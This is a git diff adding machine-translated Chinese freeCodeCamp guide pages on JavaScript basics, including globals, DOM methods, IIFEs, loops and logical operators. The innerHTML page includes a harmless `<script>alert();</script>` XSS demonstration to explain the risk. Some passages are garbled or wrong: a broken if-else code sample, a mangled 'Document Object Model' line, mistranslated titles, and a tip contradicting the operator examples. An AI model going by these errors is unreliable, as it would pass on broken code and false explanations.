+全局对象是在执行代码之前由JavaScript解释器初始化的对象。在全局范围（参见： [Scopes](http://forum.freecodecamp.com/t/scopes-in-javascript/14696) ）上声明的所有变量都作为属性存储在全局对象中。
+
+在Node.js环境中，全局对象可以通过`global`关键字访问，而在浏览器窗口中，可以通过`window`关键字访问它。在全局范围中使用时， `this`关键字也引用全局对象。请注意，如果启用了`strict mode`则在全局范围内使用`this`将返回`undefined` 。
+
+例如：
+
+```javascript
+// global scope 
+ var foo = "bar"; 
+ 
+ console.log(global.foo); // bar (in a Node environment) 
+ console.log(window.foo); // bar (in a browser window) 
+ console.log(this.foo); // bar (if strict mode is disabled) 
+```
+
+函数本地范围与全局范围之间的区别在此非常重要：全局对象仅包含在全局范围内声明的变量，而不包含函数的本地范围。
+
+全局对象还包含`NaN` ， `undefined`和`Infinity`属性以及以下函数：
+
+1.  `decodeURI()`
+2.  `decodeURIComponent()`
+3.  `encodeURI()`
+4.  `encodeURIComponent()`
+5.  `escape()`
+6.  `eval()`
+7.  `GetObject()`
+8.  `isFinite()`
+9.  `isNaN()`
+10.  `parseFloat()`
+11.  `parseInt()`
+12.  `ScriptEngine()`
+13.  `ScriptEngineBuildVersion()`
+14.  `ScriptEngineMajorVersion()`
+15.  `ScriptEngineMinorVersion()`
+16.  `unescape()`
+
+# 参考
+
+1.  MSDN： [全局对象（Javascript）](https://msdn.microsoft.com/en-us/library/52f50e9t)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/global-variables/index.md b/client/src/guide/chinese/javascript/global-variables/index.md
new file mode 100644
index 0000000000..340d988699
--- /dev/null
+++ b/client/src/guide/chinese/javascript/global-variables/index.md
@@ -0,0 +1,67 @@
+---
+title: Global Variables
+localeTitle: 全局变量
+---
+全局变量在整个程序的可访问性函数之外声明，而局部变量使用`var`存储在函数中，仅在该函数的[范围内使用](https://developer.mozilla.org/en-US/docs/Glossary/Scope) 。如果在不使用`var`情况下声明变量，即使它在函数内部，它仍将被视为全局变量：
+
+```javascript
+var x = 5; //global 
+ function someThing(y) { 
+ var z = x + y; 
+ console.log(z); 
+ } 
+ 
+ function someThing(y) { 
+ x = 5; //still global! 
+ var z = x + y; 
+ console.log(z); 
+ } 
+ 
+ 
+ function someThing(y) { 
+ var x = 5; //local 
+ var z = x + y; 
+ console.log(z); 
+ } 
+```
+
+全局变量也是当前范围的对象，例如浏览器窗口：
+
+```javascript
+var dog = “Fluffy”; 
+ console.log(dog); //Fluffy; 
+ 
+ var dog = “Fluffy”; 
+ console.log(window.dog); //Fluffy 
+```
+
+最小化全局变量是最佳实践。由于变量可以在程序中的任何位置访问，因此它们可能导致奇怪的行为。
+
+参考文献：
+
+*   [var -Javascript | MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)
+*   [您不了解JavaScript：范围和闭包](https://github.com/getify/You-Dont-Know-JS/tree/master/scope%20%26%20closures)
+
+附加信息：
+
+*   [JavaScript最佳实践：避免使用全局](http://www.w3.org/wiki/JavaScript_best_practices#Avoid_globals)
+
+## \* [javascript中的全局var和window.variable有什么区别？](https://stackoverflow.com/questions/6349232/whats-the-difference-between-a-global-var-and-a-window-variable-in-javascript)
+
+JavaScript变量的范围是全局变量或本地变量。 全局变量在函数外部声明，其值可在整个程序中访问/更改。
+
+你应该总是使用**var**来声明你的变量（在本地生成），否则它会安装GLOBALLY
+
+注意全局变量，因为它们存在风险。大多数情况下，您应该使用闭包来声明变量。 例：
+
+```javascript
+    (function(){ 
+      var myVar = true; 
+    })(); 
+```
+
+#### 更多信息：
+
+*   [JavaScript最佳实践：避免使用全局](http://www.w3.org/wiki/JavaScript_best_practices#Avoid_globals)
+*   [全局变量很糟糕](http://c2.com/cgi/wiki?GlobalVariablesAreBad)
+*   [MDN - 全局变量](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/higher-order-functions/index.md b/client/src/guide/chinese/javascript/higher-order-functions/index.md
new file mode 100644
index 0000000000..62c0c8f3a4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/higher-order-functions/index.md
@@ -0,0 +1,41 @@
+---
+title: Higher Order Functions
+localeTitle: 高阶函数
+---
+## 高阶函数
+
+高阶函数是在执行时返回函数，将函数作为其一个或多个参数或两者的函数。如果您已经使用了任何`Array`方法（如`map`或`filter` ，或者将回调函数传递给jQuery的`$.get` ，那么您已经使用了高阶函数。
+
+使用`Array.map` ，您提供了一个函数作为其唯一参数，它适用于数组中包含的每个元素。
+
+```javascript
+var arr = [ 1, 2, 3 ]; 
+ 
+ var arrDoubled = arr.map(function(num) { 
+  return num * 2; 
+ }); 
+ 
+ console.log(arrDoubled); // [ 2, 4, 6 ] 
+```
+
+高阶函数也可以返回一个函数。例如，您可以创建一个名为`multiplyBy`的函数，它接受一个数字并返回一个函数，该函数将您提供的另一个数字乘以提供的第一个数字。您可以使用此方法创建`multiplyByTwo`函数以传递给`Array.map` 。这将为您提供上面看到的相同结果。
+
+```javascript
+function multiplyBy(num1) { 
+  return function(num2) { 
+    return num1 * num2; 
+  } 
+ } 
+ 
+ var multiplyByTwo = multiplyBy(2); 
+ 
+ var arr = [ 1, 2, 3 ]; 
+ 
+ var arrDoubled = arr.map(multiplyByTwo); 
+ 
+ console.log(arrDoubled); // [ 2, 4, 6 ] 
+```
+
+有关在上面的示例中`multiplyByTwo`如何保持对`num1`的引用的更多信息，请参阅[Closures](https://guide.freecodecamp.org/javascript/closures)指南。
+
+[有关更多信息Closures](https://eloquentjavascript.net/05_higher_order.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/html-dom-getelementbyid-method/index.md b/client/src/guide/chinese/javascript/html-dom-getelementbyid-method/index.md
new file mode 100644
index 0000000000..52378311f9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/html-dom-getelementbyid-method/index.md
@@ -0,0 +1,40 @@
+---
+title: HTML DOM getElementById Method
+localeTitle: HTML DOM getElementById方法
+---
+`getElementById()`方法返回具有指定值的id属性的元素。它需要一个参数，它是所需元素的id的区分大小写的字符串。
+
+此方法是HTML DOM中最常用的方法之一，几乎每次您想要操作文档中的元素或从中获取信息时都会使用此方法。这是一个简单的语法示例：
+
+**HTML内容：**
+
+```html
+
+<div id="demo"></div> 
+```
+
+**JavaScript内容：**
+
+```javascript
+document.getElementById("demo"); // Returns the element with id "demo" 
+```
+
+如果你有多个具有相同`id`值的元素（糟糕的做法！）， `getElementById`将返回找到的第一个元素：
+
+```html
+
+<div id="demo">First</div> 
+ <div id="demo">Second</div> 
+```
+
+```javascript
+document.getElementById("demo"); // Returns the element with id "demo" containing 'First' 
+```
+
+#### 更多信息：
+
+[的document.getElementById（）](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById)
+
+#### 替代方案：
+
+`document.getElementById`一个常用替代方法是使用jQuery选择器，您可以在[这里](https://github.com/freeCodeCamp/guides/tree/master/src/pages/jquery)阅读更多内容。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/html-dom-innerhtml-property/index.md b/client/src/guide/chinese/javascript/html-dom-innerhtml-property/index.md
new file mode 100644
index 0000000000..d246593ecb
--- /dev/null
+++ b/client/src/guide/chinese/javascript/html-dom-innerhtml-property/index.md
@@ -0,0 +1,60 @@
+---
+title: HTML Dom Innerhtml Property
+localeTitle: HTML Dom Innerhtml属性
+---
+## HTML Dom Innerhtml属性
+
+`innerHTML` prop返回所选元素中的HTML内容，并允许您定义新的HTML内容。
+
+**_获取元素内容_**
+
+```html
+
+<div id="demo"> 
+  <p>Demo</p> 
+ </div> 
+```
+
+```javascript
+var element = document.getElementById("demo"); 
+ console.log(element.innerHTML) //logs <p>Demo</p> 
+```
+
+**_设置元素内容_**
+
+```html
+
+<div id="demo"></div> 
+```
+
+```javascript
+var element = document.getElementById("demo"); 
+ element.innerHTML = "<div>Demo</div>"; 
+```
+
+HTML现在就像
+
+```html
+
+<div id="demo"> 
+  <div>Demo</div> 
+ </div> 
+```
+
+**_安全考虑_**
+
+设置为`innerHTML`的值应该来自可靠来源，因为Javascript会将任何内容放在该元素中，并且它将作为纯HTML运行。
+
+例：
+
+设置“ `<script>alert();</script>` ”值将导致Javascript“alert（）”函数被触发：
+
+```javascript
+var element = document.getElementById("demo"); 
+ 
+ element.innerHTML = "<script>alert();</script>"; 
+```
+
+这种类型的攻击称为[Cross Site Scripting，简称XSS](https://en.wikipedia.org/wiki/Cross-site_scripting) 。
+
+这是提交XSS攻击的最常见方式之一。如果您想学习更多知识并学会防范它， [请查看此资源](https://xss-game.appspot.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/html-dom-queryselector/index.md b/client/src/guide/chinese/javascript/html-dom-queryselector/index.md
new file mode 100644
index 0000000000..348290607b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/html-dom-queryselector/index.md
@@ -0,0 +1,38 @@
+---
+title: HTML DOM querySelector()
+localeTitle: HTML DOM querySelector（）
+---
+Document方法`querySelector()`返回文档中与指定选择器或选择器组匹配的`first` Element。如果未找到匹配项，则返回null。
+
+**HTML内容：**
+
+```html
+
+<div id="id-example"></div> 
+ <div class="class-example"></div> 
+ <a>element-example</a> 
+```
+
+**JavaScript内容：**
+
+```javascript
+document.querySelector("#id-example"); // Returns the element with id "id-example" 
+ document.querySelector(".class-example"); // Returns the element with class "class-example" 
+ document.querySelector("a"); // Returns the "a" element 
+```
+
+注意`querySelector()`返回第一个匹配元素，返回所有匹配项，改为使用querySelectorAll（）方法。
+
+```html
+
+<div id="example">First</div> 
+ <div id="example">Second</div> 
+```
+
+```javascript
+document.querySelector("#example"); // Returns only the element containing 'First' 
+```
+
+#### 更多信息：
+
+[MDN - document.querySelector（）](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/html-dom/index.md b/client/src/guide/chinese/javascript/html-dom/index.md
new file mode 100644
index 0000000000..7e049d431a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/html-dom/index.md
@@ -0,0 +1,44 @@
+---
+title: HTML Dom
+localeTitle: HTML Dom
+---
+## HTML Dom
+
+使用HTML DOM，JavaScript可以访问和更改HTML文档的所有元素。
+
+当网页加载时，浏览器创建页面的**d** **ocumentØbject** **中号**奥德尔。
+
+HTML DOM模型构建为对象树：
+
+DOM中的每个元素也称为节点。
+
+```html
+
+<html> 
+ <head> 
+  <title> My title </title> 
+ </head> 
+ <body> 
+  <a href="#">My Link</a> 
+  <h1> My header </h1> 
+ </body> 
+ </html> 
+```
+
+上述HTML的DOM如下：
+
+![DOM树](https://www.w3schools.com/js/pic_htmltree.gif)
+
+使用对象模型，JavaScript可以获得创建动态HTML所需的全部功能：
+
+*   JavaScript可以更改页面中的所有HTML元素
+*   JavaScript可以更改页面中的所有HTML属性
+*   JavaScript可以更改页面中的所有CSS样式
+*   JavaScript可以删除现有的HTML元素和属性
+*   JavaScript可以添加新的HTML元素和属性
+*   JavaScript可以对页面中的所有现有HTML事件做出反应
+*   JavaScript可以在页面中创建新的HTML事件
+
+#### 更多信息：
+
+[W3C - HTML DOM](https://www.w3schools.com/js/js_htmldom.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/if-else-statement/index.md b/client/src/guide/chinese/javascript/if-else-statement/index.md
new file mode 100644
index 0000000000..ab25f44a92
--- /dev/null
+++ b/client/src/guide/chinese/javascript/if-else-statement/index.md
@@ -0,0 +1,73 @@
+---
+title: If-Else Statement
+localeTitle: If-Else声明
+---
+## 介绍
+
+`if`指定的条件为`true` ， `if`语句执行语句。如果条件为`false` ，则可以使用`else`语句执行另一个语句。
+
+**注意：** `else`语句是可选的。
+
+```javascript
+if (condition) 
+    /* do something */ 
+ else 
+    /* do something else */ 
+```
+
+可以链接多个`if...else`语句来创建`else if`子句。这指定了要测试的新条件，并且可以重复测试多个条件，检查直到执行真实语句。
+
+```javascript
+if (condition1) 
+    /* do something */ 
+ else if (condition2) 
+    /* do something else */ 
+ else if (condition3) 
+    /* do something else */ 
+ else 
+    /* final statement */ 
+```
+
+**注意：**如果要在`if` ， `else`或`else if`部分中执行多个语句， `if`语句周围需要花括号：
+
+```javascript
+if (condition) { 
+    /* do */ 
+    /* something */ 
+    /* with multiple statements */ 
+ } else { 
+    /* do something */ 
+    /* else */ 
+ } 
+```
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else) | [MSDN链接](https://msdn.microsoft.com/en-us/library/85yyde5c.aspx)
+
+## 例子
+
+**使用** `if...else` ：
+
+```javascript
+    // If x=5 z=7 and q=42. If x is not 5 then z=19. 
+    if (x == 5) { 
+      z = 7; 
+      q = 42 
+    else 
+      z = 19; 
+```
+
+**使用** `else if` ：
+
+```javascript
+if (x < 10) 
+    return "Small number"; 
+ else if (x < 50) 
+    return "Medium number"; 
+ else if (x < 100) 
+    return "Large number"; 
+ else { 
+    flag = 1; 
+    return "Invalid number"; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/immediately-invoked-functions-expressions/index.md b/client/src/guide/chinese/javascript/immediately-invoked-functions-expressions/index.md
new file mode 100644
index 0000000000..3931a56426
--- /dev/null
+++ b/client/src/guide/chinese/javascript/immediately-invoked-functions-expressions/index.md
@@ -0,0 +1,60 @@
+---
+title: Immediately Invoked Functions Expressions(IIFEs)
+localeTitle: 立即调用函数表达式（IIFE）
+---
+## 功能说明
+
+使用函数声明创建的函数是Function对象，具有Function对象的所有属性，方法和行为。 例：
+
+```javascript
+  function statement(item){ 
+    console.log('Function statement example '+ item); 
+  } 
+```
+
+## 功能表达
+
+函数表达式与函数语句类似，只是可以省略函数名来创建匿名函数。 例：
+
+```javascript
+  var expression = function (item){ 
+    console.log('Function expression example '+ item); 
+  } 
+```
+
+## 立即调用函数表达式
+
+一旦创建了函数，它就会调用自己不需要显式调用。 在下面的示例变量中，iife将存储由函数执行返回的字符串。
+
+```javascript
+  var iife = function (){ 
+    return 'Immediately Invoked Function Expressions(IIFEs) example '; 
+  }(); 
+  console.log(iife); // 'Immediately Invoked Function Expressions(IIFEs) example ' 
+```
+
+IIFE之前的声明应始终以a结尾;否则会引发错误。
+
+**不好的例子** ：
+
+```javascript
+var x = 2 //no semicolon, will throw error 
+ (function(y){ 
+  return x; 
+ })(x); //Uncaught TypeError: 2 is not a function 
+```
+
+## 为什么使用立即调用的函数表达式？
+
+```javascript
+  (function(value){ 
+    var greet = 'Hello'; 
+    console.log(greet+ ' ' + value); 
+  })('IIFEs'); 
+```
+
+在上面的示例中，当javascript引擎执行上面的代码时，它会在看到代码时创建全局执行上下文，并在内存中为IIFE创建函数对象。 当它到达第`46`行时由于调用了哪个函数，动态创建了一个新的执行上下文，因此greet变量进入该函数执行上下文而不是全局，这使得它是唯一的。 `This ensures that code inside IIFE does not interfere with other code or be interfered by another code` ，因此代码是安全的。
+
+#### 更多信息
+
+[维基百科上立即调用的函数表达式](https://en.wikipedia.org/wiki/Immediately-invoked_function_expression) [JavaScript库中的前导分号有什么作用？](https://stackoverflow.com/questions/1873983/what-does-the-leading-semicolon-in-javascript-libraries-do)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/immutable-types/index.md b/client/src/guide/chinese/javascript/immutable-types/index.md
new file mode 100644
index 0000000000..d51be281cb
--- /dev/null
+++ b/client/src/guide/chinese/javascript/immutable-types/index.md
@@ -0,0 +1,21 @@
+---
+title: Immutable Types
+localeTitle: 不可变类型
+---
+> 不可改变意味着不可改变，即你无法改变。
+
+Javascript有很多不可变类型，例如`string`基元类型。在您的控制台中试试这个。
+```
+s = "red"; 
+ console.log(s[1]); //→ "e" 
+ s[1] = "x"; 
+ console.log(s) //→ "red" 
+```
+
+`s`没改变！ WAT ！
+
+## 细节
+
+`String.replace`等一些字符串方法返回一个新字符串。
+
+JavaScript有一种复杂的数据类型，即Object数据类型，它有五种简单的数据类型：Number，String，Boolean，Undefined和Null。这些简单（原始）数据类型是不可变的（不能更改），而对象是可变的（可以更改）。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/index.md b/client/src/guide/chinese/javascript/index.md
new file mode 100644
index 0000000000..b42ac60fa9
--- /dev/null
+++ b/client/src/guide/chinese/javascript/index.md
@@ -0,0 +1,35 @@
+---
+title: JavaScript
+localeTitle: JavaScript的
+---
+## JavaScript的
+
+JavaScript是地球上使用最广泛的脚本语言。它拥有任何编程语言中最大的图书馆生态系统。
+
+JavaScript是Web的核心语言，也是唯一可以在所有主要Web浏览器中运行的编程语言。
+
+值得注意的是，JavaScript与Java无关。 [JavaScript：世界上最容易被误解的编程语言](http://www.crockford.com/javascript/javascript.html)
+
+JavaScript的官方名称是在标准[ECMA-262](https://www.ecma-international.org/publications/standards/Ecma-262.htm)下定义的ECMAScript
+
+如果您想了解有关JavaScript语言的更多信息，以及为何如此广泛使用它，请阅读Quincy Larson的文章 - [我应该首先学习哪种编程语言？](https://medium.freecodecamp.org/what-programming-language-should-i-learn-first-%CA%87d%C4%B1%C9%B9%C9%94s%C9%90%CA%8C%C9%90%C9%BE-%C9%B9%C7%9D%CA%8Dsu%C9%90-19a33b0a467d) - 或观看[来自Preethi Kasireddy的](https://www.youtube.com/watch?v=VqiEhZYmvKk)这个[鼓舞人心的视频](https://www.youtube.com/watch?v=VqiEhZYmvKk) 。
+
+## 独立的JavaScript引擎
+
+Mozilla的SpiderMonkey是有史以来第一个用于Mozilla Firefox的JavaScript引擎。 V8，谷歌的JavaScript引擎，用于谷歌浏览器。
+
+Google Apps脚本，一个基于云的/服务器端解释器，提供对Google Apps服务和文档的程序化“宏观”控制。
+
+Node.js，构建于V8之上，这个平台使服务器端应用程序能够用JavaScript编写。
+
+Windows包括JScript，Windows Script Host中的JavaScript变体。
+
+Chakra是Jscript的一个分支，由Microsoft开发并用于Edge浏览器。
+
+Mozilla还提供Rhino，一种用Java构建的JavaScript实现，通常嵌入到Java应用程序中，为最终用户提供脚本。
+
+WebKit（Chromium项目除外）实现了JavaScriptCore引擎。
+
+## JavaScript框架
+
+最常用的JavaScript框架是React JS，Angular JS，Create JS，jQuery，nodeJS等。 有关详细信息请点击此[链接](https://javascriptreport.com/the-ultimate-guide-to-javascript-frameworks/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/location-object/index.md b/client/src/guide/chinese/javascript/location-object/index.md
new file mode 100644
index 0000000000..acb4cf215f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/location-object/index.md
@@ -0,0 +1,63 @@
+---
+title: Location Object
+localeTitle: 位置对象
+---
+## 位置对象
+
+“位置”对象提供API（应用程序编程接口），其允许检索URL，设置URL或访问URL的部分。默认情况下，它已在Window和Document对象上实现。 注意：没有适用于location对象的公共标准，但所有主流浏览器都支持它。
+
+### 位置对象属性
+
+|财产|说明| | ---------- | -------------------------------------- ------------------- | |哈希|设置或返回URL |的锚点部分（＃） |主持人|设置或返回URL的主机名和端口号 |主机名|设置或返回URL的主机名 | href |设置或返回整个URL | |来源|返回URL的协议，主机名和端口号 |路径名|设置或返回URL的路径名 |港口|设置或返回URL的端口号 |协议|设置或返回URL的协议 |搜索|设置或返回URL |的查询字符串部分
+
+### 位置对象方法
+
+|方法|说明| | ----------- | ------------------------------------- --------- | | assign（）|加载新文档| | reload（）|重新加载当前文档| | replace（）|用新的文档替换当前文档
+
+### 例子
+
+可通过以下方式访问位置对象：
+
+```javascript
+    console.log(window.location); 
+    // > https://guide.freecodecamp.org/javascript/location-object 
+    console.log(document.location); 
+    // > https://guide.freecodecamp.org/javascript/location-object 
+```
+
+您还可以使用JavaScript以编程方式设置HTML `<a>`元素的Location对象或HTML `<area>`元素。
+
+```javascript
+    var anchor = document.createElement('a'); 
+    anchor.url = "https://guide.freecodecamp.org/javascript/location-object"; 
+```
+
+一旦你有一个带有URL集的对象（包括窗口），Location API允许你访问URL的部分内容。
+
+```javascript
+    console.log(anchor.protocol); 
+    // > https: 
+    console.log(anchor.host); 
+    // > guide.freecodecamp.org (includes port number if applicable. Example: guide.freecodecamp.org:8080) 
+```
+
+您可以访问的“位置”的其他属性包括：
+
+*   `anchor.hostname` - _guide.freecodecamp.org_
+*   `anchor.port` - _8080_
+*   `anchor.pathname` - _/ javascript / location-object_
+*   `anchor.origin` - _https://developer.mozilla.org_
+
+如果您的URL包含参数或哈希值，您可以像这样访问它们：
+
+```javascript
+    // If your URL is https://guide.freecodecamp.org/javascript?param=location#other-properties 
+    console.log(window.location.search); 
+    // > "?param=location" 
+    console.log(document.location.hash); 
+    // > "#other-properties" 
+```
+
+#### 更多信息：
+
+[W3C - 位置对象](https://www.w3schools.com/jsref/obj_location.asp) [地点](https://developer.mozilla.org/en-US/docs/Web/API/Location)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/location-reload-method/index.md b/client/src/guide/chinese/javascript/location-reload-method/index.md
new file mode 100644
index 0000000000..d34d76b595
--- /dev/null
+++ b/client/src/guide/chinese/javascript/location-reload-method/index.md
@@ -0,0 +1,64 @@
+---
+title: Location Reload Method
+localeTitle: 位置重新加载方法
+---
+## 位置重新加载方法
+
+JavaScript `Location.reload()`方法提供了在当前URL重新加载页面的方法。
+
+语法如下：
+
+`object.reload(forcedReload);` ，其中`forceReload`是可选参数。
+
+要简单地重新加载页面，您可以输入`window.location`作为对象。
+
+可选参数`force reload`是一个布尔值，如果设置为：
+
+*   `True`从服务器重新加载页面（例如，不存储浏览器缓存的数据）：
+```
+window.location.reload(true); 
+```
+
+*   `False`使用浏览器缓存的页面版本重新加载页面。
+```
+window.location.reload(false); 
+```
+
+`False`是默认参数，因此如果留空，则`object.reload()`使用`object.reload()`的缓存数据重新加载页面，即与使用`object.reload(false)`方法相同。
+
+要创建浏览器提供的“刷新”选项的效果，您可能需要创建HTML按钮并执行以下任一操作：
+
+*   将`Location.reload()`附加到HTML按钮标记，如下所示：
+```
+<input type="button" value="Refresh Button" onClick="window.location.reload()"> 
+```
+
+*   使用使用该方法的函数将按钮上的事件分配给按钮，其中按钮看起来类似于
+```
+<button type="button" onClick="reloadThePage()">Refresh!</button> 
+```
+
+```
+<script> 
+ function reloadThePage(){ 
+    window.location.reload(); 
+ } 
+ </script> 
+```
+
+### 例：
+
+```javascript
+// Reload the current resources from the server 
+ window.location.reload(true); 
+ 
+ // Reload the current resources from the browser's cache 
+ window.location.reload(); 
+```
+
+这将从服务器重新加载当前URL的页面。
+
+#### 更多信息：
+
+*   [MDN](https://developer.mozilla.org/docs/Web/API/Location/reload)
+*   [W3学校](https://www.w3schools.com/jsref/met_loc_reload.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/logical-operators/index.md b/client/src/guide/chinese/javascript/logical-operators/index.md
new file mode 100644
index 0000000000..020ee91fe7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/logical-operators/index.md
@@ -0,0 +1,96 @@
+---
+title: Logical Operators
+localeTitle: 逻辑运算符
+---
+# 逻辑运算符
+
+逻辑运算符比较布尔值并返回布尔响应。有两种类型的逻辑运算符 - 逻辑AND和逻辑OR。这些运算符通常写为&&表示AND和||对于OR。
+
+#### 逻辑AND（&&）
+
+AND运算符比较两个表达式。如果第一个评估为[“truthy”](https://developer.mozilla.org/en-US/docs/Glossary/Truthy) ，则该语句将返回第二个表达式的值。 如果第一个计算为[“falsy”](https://developer.mozilla.org/en-US/docs/Glossary/Falsy) ，则该语句将返回第一个表达式的值。
+
+当只涉及布尔值（ `true`或`false` ）时，如果两个表达式都为真，则返回true。如果一个或两个表达式为false，则整个语句将返回false。
+
+```js
+true && true //returns  the second value, true 
+ true && false //returns the second value, false 
+ false && false //returns the first value, false 
+ 123 && 'abc' // returns the second value, 'abc' 
+ 'abc' && null //returns the second value, null 
+ undefined && 'abc' //returns the first value, undefined 
+ 0 && false //returns the first value, 0 
+```
+
+#### 逻辑OR（||）
+
+OR运算符比较两个表达式。如果第一个计算为“falsy”，则该语句将返回第二个表达式的值。如果第一个评估为“truthy”，则该语句将返回第一个表达式的值。
+
+当仅涉及布尔值（ `true`或`false` ）时，如果任一表达式为true，则返回true。两个表达式都可以是真的，但结果只需要一个表达式。
+
+```js
+true || true //returns the first value, true 
+ true || false //returns the first value, true 
+ false || false //returns the second value, false 
+ 123 || 'abc' // returns the first value, 123 
+ 'abc' || null //returns the first value, 'abc' 
+ undefined || 'abc' //returns the second value, 'abc' 
+ 0 || false //returns the second value, false 
+```
+
+#### 短路评估
+
+&&和||表现为短路运营商。
+
+在逻辑AND的情况下，如果第一个操作数返回false，则永远不会计算第二个操作数，并返回第一个操作数。
+
+如果是逻辑OR，如果第一个值返回true，则永远不会计算第二个值，并返回第一个操作数。
+
+#### 逻辑NOT（！）
+
+NOT运算符不会像AND和OR运算符那样进行任何比较。此外，它仅在1个操作数上运行。
+
+一个'！' （感叹号）标记用于表示NOT运算符。
+
+###### 使用NOT运算符
+
+1.  将表达式转换为布尔值。
+2.  返回上一步中获得的布尔值的倒数。
+
+```js
+var spam = 'rinki'; //spam may be equal to any non empty string 
+ var booSpam = !spam; 
+ /*returns false 
+  since when a non-empty string when converted to boolean returns true 
+  inverse of which is evaluated to false. 
+ */ 
+ 
+ var spam2 = ''; //spam2 here is equal to empty string 
+ var booSpam2 = !spam2; 
+ /*returns true 
+  since when a empty string when converted to boolean returns false 
+  inverse of which is evaluated to true. 
+ */ 
+```
+
+#### 提示：
+
+两个逻辑运算符都将返回上次计算的表达式的值。例如：
+
+```js
+"cat" && "dog" //returns "dog" 
+ "cat" && false //returns false 
+ 0 && "cat"  //returns 0 (which is a falsy value) 
+ 
+ "cat" || "dog" //returns "cat" 
+ "cat" || false //returns "cat" 
+ 0 || "cat" //returns "cat" 
+```
+
+请注意， `&&`返回第一个值， `||`返回第二个值，反之亦然。
+
+#### 更多信息：
+
+*   [Javascript真值表](https://guide.freecodecamp.org/javascript/truth-table)
+    
+*   [MDN](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Operators/Logical_Operators)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/loops/break-statements/index.md b/client/src/guide/chinese/javascript/loops/break-statements/index.md
new file mode 100644
index 0000000000..ac5b4e5e07
--- /dev/null
+++ b/client/src/guide/chinese/javascript/loops/break-statements/index.md
@@ -0,0 +1,50 @@
+---
+title: Break Statement
+localeTitle: 休息声明
+---
+## 介绍
+
+**break**语句终止当前循环， `switch`或`label`语句，并将程序控制转移到终止语句后面的语句。
+```
+break; 
+```
+
+如果在带标签的语句中使用**break**语句，则语法如下：
+```
+break labelName; 
+```
+
+## 例子
+
+以下函数有一个**break**语句，当**i**为3时终止`while`循环，然后返回值**3 \* x** 。
+```
+function testBreak(x) { 
+  var i = 0; 
+ 
+  while (i < 6) { 
+    if (i == 3) { 
+      break; 
+    } 
+    i += 1; 
+  } 
+ 
+  return i * x; 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/C7VM/0)
+
+在以下示例中，计数器设置为从1到99计数;但是， **break**语句在14次计数后终止循环。
+```
+for (var i = 1; i < 100; i++) { 
+  if (i == 15) { 
+    break; 
+  } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/C7VO/0)
+
+## 其他资源：
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/break) | [MSDN链接](https://msdn.microsoft.com/en-us/library/3fhdxafb.aspx)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/loops/continue-statement/index.md b/client/src/guide/chinese/javascript/loops/continue-statement/index.md
new file mode 100644
index 0000000000..dfd4027fba
--- /dev/null
+++ b/client/src/guide/chinese/javascript/loops/continue-statement/index.md
@@ -0,0 +1,58 @@
+---
+title: Continue Statement
+localeTitle: 继续声明
+---
+## 介绍
+
+**continue**语句终止当前或标记循环的当前迭代中的语句的执行，并继续执行下一次迭代的循环。
+```
+continue; 
+```
+
+如果在带标签的语句中使用**continue**语句，则语法如下：
+```
+continue labelName; 
+```
+
+与**break**语句相反， **continue**不会完全终止循环的执行;代替：
+
+*   在`while`循环中，它会跳回到条件。
+*   在`for`循环中，它跳转到更新表达式。
+
+## 例子
+
+以下示例显示了一个`while`循环，该循环具有一个**continue**语句，该语句在**i的**值为3时执行。因此， **n**取值为1,3,7和12。
+```
+var i = 0; 
+ var n = 0; 
+ 
+ while (i < 5) { 
+  i++; 
+ 
+  if (i === 3) { 
+    continue; 
+  } 
+ 
+  n += i; 
+  console.log (n); 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/C7hx/0)
+
+在下面的示例中，循环从1到9迭代。由于将**continue**语句与表达式`(i < 5)`一起使用，因此跳过了**continue**和`for` body结尾之间的语句。
+```
+for (var i = 1; i < 10; i++) { 
+    if (i < 5) { 
+        continue; 
+    } 
+    console.log (i); 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/C7hs/0)
+
+## 其他资源
+
+*   [MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/continue)
+*   [MSDN链接](https://msdn.microsoft.com/en-us/library/8de3fkc8.aspx)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/loops/do-while-loop/index.md b/client/src/guide/chinese/javascript/loops/do-while-loop/index.md
new file mode 100644
index 0000000000..539057d61f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/loops/do-while-loop/index.md
@@ -0,0 +1,38 @@
+---
+title: Do...While Loop
